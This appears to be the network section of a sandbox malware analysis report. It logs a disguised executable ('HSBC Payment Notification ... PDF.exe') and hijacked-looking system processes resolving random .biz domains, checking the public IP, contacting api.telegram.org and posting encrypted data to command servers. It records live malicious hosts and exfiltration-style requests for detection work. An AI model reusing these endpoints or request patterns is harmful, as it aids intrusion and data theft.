Dec 10, 2024 16:26:16.815881014 CET	80	49990	172.234.222.143	192.168.2.7
Dec 10, 2024 16:26:16.815989971 CET	49990	80	192.168.2.7	172.234.222.143
Dec 10, 2024 16:26:16.889905930 CET	49990	80	192.168.2.7	172.234.222.143
Dec 10, 2024 16:26:16.889938116 CET	49990	80	192.168.2.7	172.234.222.143
Dec 10, 2024 16:26:17.009995937 CET	80	49990	172.234.222.143	192.168.2.7
Dec 10, 2024 16:26:17.014801025 CET	80	49990	172.234.222.143	192.168.2.7
Dec 10, 2024 16:26:17.973221064 CET	80	49990	172.234.222.143	192.168.2.7
Dec 10, 2024 16:26:18.093559027 CET	49990	80	192.168.2.7	172.234.222.143
Dec 10, 2024 16:26:18.218674898 CET	49995	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:26:18.338382959 CET	80	49995	72.52.179.174	192.168.2.7
Dec 10, 2024 16:26:18.338541031 CET	49995	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:26:18.338757992 CET	49995	80	192.168.2.7	72.52.179.174
Dec 10, 2024 16:26:18.458513975 CET	80	49995	72.52.179.174	192.168.2.7
Dec 10, 2024 16:26:19.515204906 CET	80	49995	72.52.179.174	192.168.2.7
Dec 10, 2024 16:26:19.734239101 CET	49995	80	192.168.2.7	72.52.179.174

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 16:24:11.692176104 CET	59158	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:12.284240007 CET	53	59158	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:12.329438925 CET	63231	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:12.470489979 CET	53	63231	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:14.279803038 CET	61029	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:14.417388916 CET	53	61029	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:14.483979940 CET	57309	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:15.087081909 CET	53	57309	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:16.758785009 CET	51270	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:16.896429062 CET	53	51270	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:17.320835114 CET	63479	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:17.888187885 CET	53	63479	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:19.446871996 CET	61579	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:20.039160013 CET	53	61579	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:22.340003967 CET	64298	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:22.874125004 CET	53	64298	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:24.708389997 CET	52962	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:24.711930990 CET	55159	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:24.849324942 CET	53	55159	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:25.054045916 CET	53	52962	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:26.351454020 CET	51696	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:26.787070990 CET	53	51696	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:28.760263920 CET	50420	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:28.997746944 CET	53	50420	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:28.998497963 CET	63892	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:29.791650057 CET	53	63892	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:32.078995943 CET	64503	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:32.319088936 CET	53	64503	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:32.319715023 CET	63108	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:32.560697079 CET	53	63108	1.1.1.1	192.168.2.7
Dec 10, 2024 16:24:32.561521053 CET	57303	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:24:33.501580954 CET	53	57303	1.1.1.1	192.168.2.7
Dec 10, 2024 16:25:17.876512051 CET	62669	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:25:18.856405973 CET	53	62669	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:04.117433071 CET	51551	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:04.720539093 CET	53	51551	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:07.243876934 CET	54928	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:07.969813108 CET	53	54928	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:10.187421083 CET	62649	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:10.760751009 CET	53	62649	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:12.341001987 CET	61702	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:12.949174881 CET	53	61702	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:16.153940916 CET	52346	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:16.651339054 CET	53	52346	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:17.978765965 CET	56066	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:18.217648983 CET	53	56066	1.1.1.1	192.168.2.7
Dec 10, 2024 16:26:19.518667936 CET	59640	53	192.168.2.7	1.1.1.1
Dec 10, 2024 16:26:19.951618910 CET	53	59640	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 16:24:11.692176104 CET	192.168.2.7	1.1.1.1	0x2d01	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:12.329438925 CET	192.168.2.7	1.1.1.1	0x119	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.279803038 CET	192.168.2.7	1.1.1.1	0x27e3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.483979940 CET	192.168.2.7	1.1.1.1	0x6e7b	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:16.758785009 CET	192.168.2.7	1.1.1.1	0x1c3b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:17.320835114 CET	192.168.2.7	1.1.1.1	0x98fb	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:19.446871996 CET	192.168.2.7	1.1.1.1	0x6dba	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:22.340003967 CET	192.168.2.7	1.1.1.1	0xc542	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:24.708389997 CET	192.168.2.7	1.1.1.1	0xc858	Standard query (0)	ww99.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:24.711930990 CET	192.168.2.7	1.1.1.1	0x73ce	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:26.351454020 CET	192.168.2.7	1.1.1.1	0x5c77	Standard query (0)	ww12.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:28.760263920 CET	192.168.2.7	1.1.1.1	0xe5d3	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:28.998497963 CET	192.168.2.7	1.1.1.1	0x8650	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:32.078995943 CET	192.168.2.7	1.1.1.1	0xbaa2	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:32.319715023 CET	192.168.2.7	1.1.1.1	0x5083	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:32.561521053 CET	192.168.2.7	1.1.1.1	0x6b91	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:17.876512051 CET	192.168.2.7	1.1.1.1	0xa568	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:04.117433071 CET	192.168.2.7	1.1.1.1	0xdbc9	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:07.243876934 CET	192.168.2.7	1.1.1.1	0xc9d2	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:10.187421083 CET	192.168.2.7	1.1.1.1	0xd867	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:12.341001987 CET	192.168.2.7	1.1.1.1	0x2591	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:16.153940916 CET	192.168.2.7	1.1.1.1	0x205d	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:17.978765965 CET	192.168.2.7	1.1.1.1	0x9027	Standard query (0)	ww99.fwiwk.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:19.518667936 CET	192.168.2.7	1.1.1.1	0x910c	Standard query (0)	ww12.fwiwk.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 16:24:12.284240007 CET	1.1.1.1	192.168.2.7	0x2d01	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:12.470489979 CET	1.1.1.1	192.168.2.7	0x119	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.417388916 CET	1.1.1.1	192.168.2.7	0x27e3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:24:14.417388916 CET	1.1.1.1	192.168.2.7	0x27e3	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.417388916 CET	1.1.1.1	192.168.2.7	0x27e3	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.417388916 CET	1.1.1.1	192.168.2.7	0x27e3	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.417388916 CET	1.1.1.1	192.168.2.7	0x27e3	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.417388916 CET	1.1.1.1	192.168.2.7	0x27e3	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:15.087081909 CET	1.1.1.1	192.168.2.7	0x6e7b	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:16.896429062 CET	1.1.1.1	192.168.2.7	0x1c3b	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:16.896429062 CET	1.1.1.1	192.168.2.7	0x1c3b	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:17.888187885 CET	1.1.1.1	192.168.2.7	0x98fb	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:20.039160013 CET	1.1.1.1	192.168.2.7	0x6dba	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:22.874125004 CET	1.1.1.1	192.168.2.7	0xc542	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:22.874125004 CET	1.1.1.1	192.168.2.7	0xc542	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:24.849324942 CET	1.1.1.1	192.168.2.7	0x73ce	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:25.054045916 CET	1.1.1.1	192.168.2.7	0xc858	No error (0)	ww99.przvgke.biz		72.52.179.174	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:26.787070990 CET	1.1.1.1	192.168.2.7	0x5c77	No error (0)	ww12.przvgke.biz	084725.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:24:26.787070990 CET	1.1.1.1	192.168.2.7	0x5c77	No error (0)	084725.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:26.787070990 CET	1.1.1.1	192.168.2.7	0x5c77	No error (0)	084725.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:28.997746944 CET	1.1.1.1	192.168.2.7	0xe5d3	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:29.791650057 CET	1.1.1.1	192.168.2.7	0x8650	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:32.319088936 CET	1.1.1.1	192.168.2.7	0xbaa2	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:32.560697079 CET	1.1.1.1	192.168.2.7	0x5083	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:33.501580954 CET	1.1.1.1	192.168.2.7	0x6b91	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:18.856405973 CET	1.1.1.1	192.168.2.7	0xa568	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:04.720539093 CET	1.1.1.1	192.168.2.7	0xdbc9	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:07.969813108 CET	1.1.1.1	192.168.2.7	0xc9d2	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:10.760751009 CET	1.1.1.1	192.168.2.7	0xd867	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:12.949174881 CET	1.1.1.1	192.168.2.7	0x2591	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:16.651339054 CET	1.1.1.1	192.168.2.7	0x205d	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:16.651339054 CET	1.1.1.1	192.168.2.7	0x205d	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:18.217648983 CET	1.1.1.1	192.168.2.7	0x9027	No error (0)	ww99.fwiwk.biz		72.52.179.174	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:19.951618910 CET	1.1.1.1	192.168.2.7	0x910c	No error (0)	ww12.fwiwk.biz	084725.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:26:19.951618910 CET	1.1.1.1	192.168.2.7	0x910c	No error (0)	084725.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:19.951618910 CET	1.1.1.1	192.168.2.7	0x910c	No error (0)	084725.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

pywolwnvd.biz

checkip.dyndns.org

ssbzmoy.biz

cvgrf.biz

npukfztj.biz

przvgke.biz

ww99.przvgke.biz

ww12.przvgke.biz

knjghuig.biz

lpuegx.biz

vjaxhpbji.biz

xlfhhhm.biz

ifsaia.biz

saytjshyf.biz

vcddkls.biz

fwiwk.biz

ww99.fwiwk.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	54.244.188.177	80	3232	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:13.038033962 CET	351	OUT	POST /mgppdv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 898
Dec 10, 2024 16:24:13.038115978 CET	898	OUT	Data Raw: ef f0 f5 3a 1c 57 34 63 76 03 00 00 20 5b 0f e7 9d c2 13 40 f7 98 d4 02 2c f9 08 ff 4e 54 57 90 7e 51 47 e7 10 3b 9a a2 90 7d c2 fd fd b8 22 8c 15 af 33 5e 6a e4 ce 69 9f af e8 f4 32 44 07 00 6f e6 7b 6e 2e bb ec 6a 8f 78 bb b2 70 cc a9 ff c1 cd Data Ascii: :W4cv [@,NTW~QG;}"3^ji2Do{n.jxp-'z$Y*7+\|VK21]M\|XUvwm<}A,k:{6x 0N5UML`]I@`S B6.Qz=^4j=w uV
Dec 10, 2024 16:24:14.337663889 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3dab21979f5b10af5d915d23a3c4b082\|8.46.123.175\|1733844254\|1733844254\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	54.244.188.177	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:13.134259939 CET	361	OUT	POST /leanpmxsxneexgiv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:13.134322882 CET	850	OUT	Data Raw: 1f 6d 70 8e f0 09 b5 b8 46 03 00 00 b4 59 69 f1 82 37 27 dd e3 c2 6a 3a db 6a 12 1c 42 96 2d 40 f7 59 bf 47 3d ff 4f 93 3f 6c 97 d8 d2 8e ba 7d be b7 50 9c 4c 62 82 fe 6a 09 5b 02 56 14 ae 18 1b fc 8a 0e 31 9b 33 4a 33 cc cb b4 5f a1 ce 4b 4c 3a Data Ascii: mpFYi7'j:jB-@YG=O?l}PLbj[V13J3_KL:GO=9FmpC'{ue"]0V0>UAdJ[B\h9~-A'g=Q6]xkA)Nb-f)$Vf>,CBJw%Q[']t
Dec 10, 2024 16:24:14.474680901 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=29de6c1007c751a72c85120a3480a41f\|8.46.123.175\|1733844254\|1733844254\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49708	193.122.6.168	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:14.544823885 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 10, 2024 16:24:15.817994118 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 15:24:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: daa271d8caefb955d4e0a3a7dd57b23f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.175</body></html>
Dec 10, 2024 16:24:15.823390961 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 10, 2024 16:24:16.229127884 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 15:24:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 801637083f0acea40bf13f0b66973778 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.175</body></html>
Dec 10, 2024 16:24:23.931077003 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 10, 2024 16:24:24.335911989 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 15:24:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0cb2bb90e36cfeca33f9b72364920757 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.175</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49709	18.141.10.107	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:15.244730949 CET	346	OUT	POST /udp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:15.244730949 CET	850	OUT	Data Raw: ea 44 5f 04 e3 cf a4 c8 46 03 00 00 e3 bd 46 bb 46 6a 25 d2 a0 24 aa eb 50 bf 14 c7 b6 68 82 b9 48 b0 fd 9a 85 77 17 a4 46 26 77 f2 53 5d 44 a0 a1 79 a4 e9 70 46 01 90 6c 02 9e 4e bf 64 7b 3d 7d 37 9a 14 65 e3 50 b6 91 9e f4 83 20 37 01 33 18 36 Data Ascii: D_FFFj%$PhHwF&wS]DypFlNd{=}7eP 736&OjnRr&6QOi2%A{TU62h]}{pCvY((JTQ,%0~773)b4"<eC{0OKT0{TJx)xfy$
Dec 10, 2024 16:24:17.245935917 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:24:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=18b7adbf3b884eb70f95b61fc4681eda\|8.46.123.175\|1733844256\|1733844256\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49716	54.244.188.177	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:18.081989050 CET	353	OUT	POST /hfsfqfqbrwib HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:18.082005024 CET	850	OUT	Data Raw: 7a c3 bc 44 82 b7 ff 60 46 03 00 00 5c ef b5 f7 08 1b 79 dc 94 e0 69 10 91 59 8f 4c 71 f5 c9 41 ea 53 42 1e 2c b7 ac f1 62 7f f0 cb 86 a8 b1 aa 6d 72 ee 3a 13 92 0a 1c 64 98 0c 5d e4 97 04 6e 8d 8a 3e 2e cf 0f f2 c4 f4 80 26 df e4 c6 25 70 5d 16 Data Ascii: zD`F\yiYLqASB,bmr:d]n>.&%p]RdTBW7'4T4S2\|:sU1w4pi$_" L9rc"UjK{%avwXno~A+uS-Q']koX2SFv5S[xKDO"=cmoC[
Dec 10, 2024 16:24:19.430260897 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 15:24:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=96ffce8178e8ca5aff1049ce61b5f9aa\|8.46.123.175\|1733844259\|1733844259\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49727	44.221.84.105	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:21.235524893 CET	346	OUT	POST /bd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:24:21.235548973 CET	850	OUT	Data Raw: a2 4c 99 c2 47 28 ea 64 46 03 00 00 ec 42 78 62 b6 76 ad 5f b2 de 68 8c a7 ac 6d 38 8c 6f 4b eb 13 93 5a 6a a4 00 ba 51 2d e9 a6 2d 57 19 1a 6a 32 ba 2a b7 5c 03 b9 b7 32 d4 1e 9f 23 cf bf 26 61 26 55 ef 35 22 6e e1 bf e9 69 19 4d 47 b1 0e c5 cb Data Ascii: LG(dFBxbv_hm8oKZjQ--Wj2*\2#&a&U5"niMGy8k2m[Hjs@!arI^JD/e`y<$UmwbJs95-;YESGLa10yjS%gsEY%9z8@5N>2^P]6-b+\|
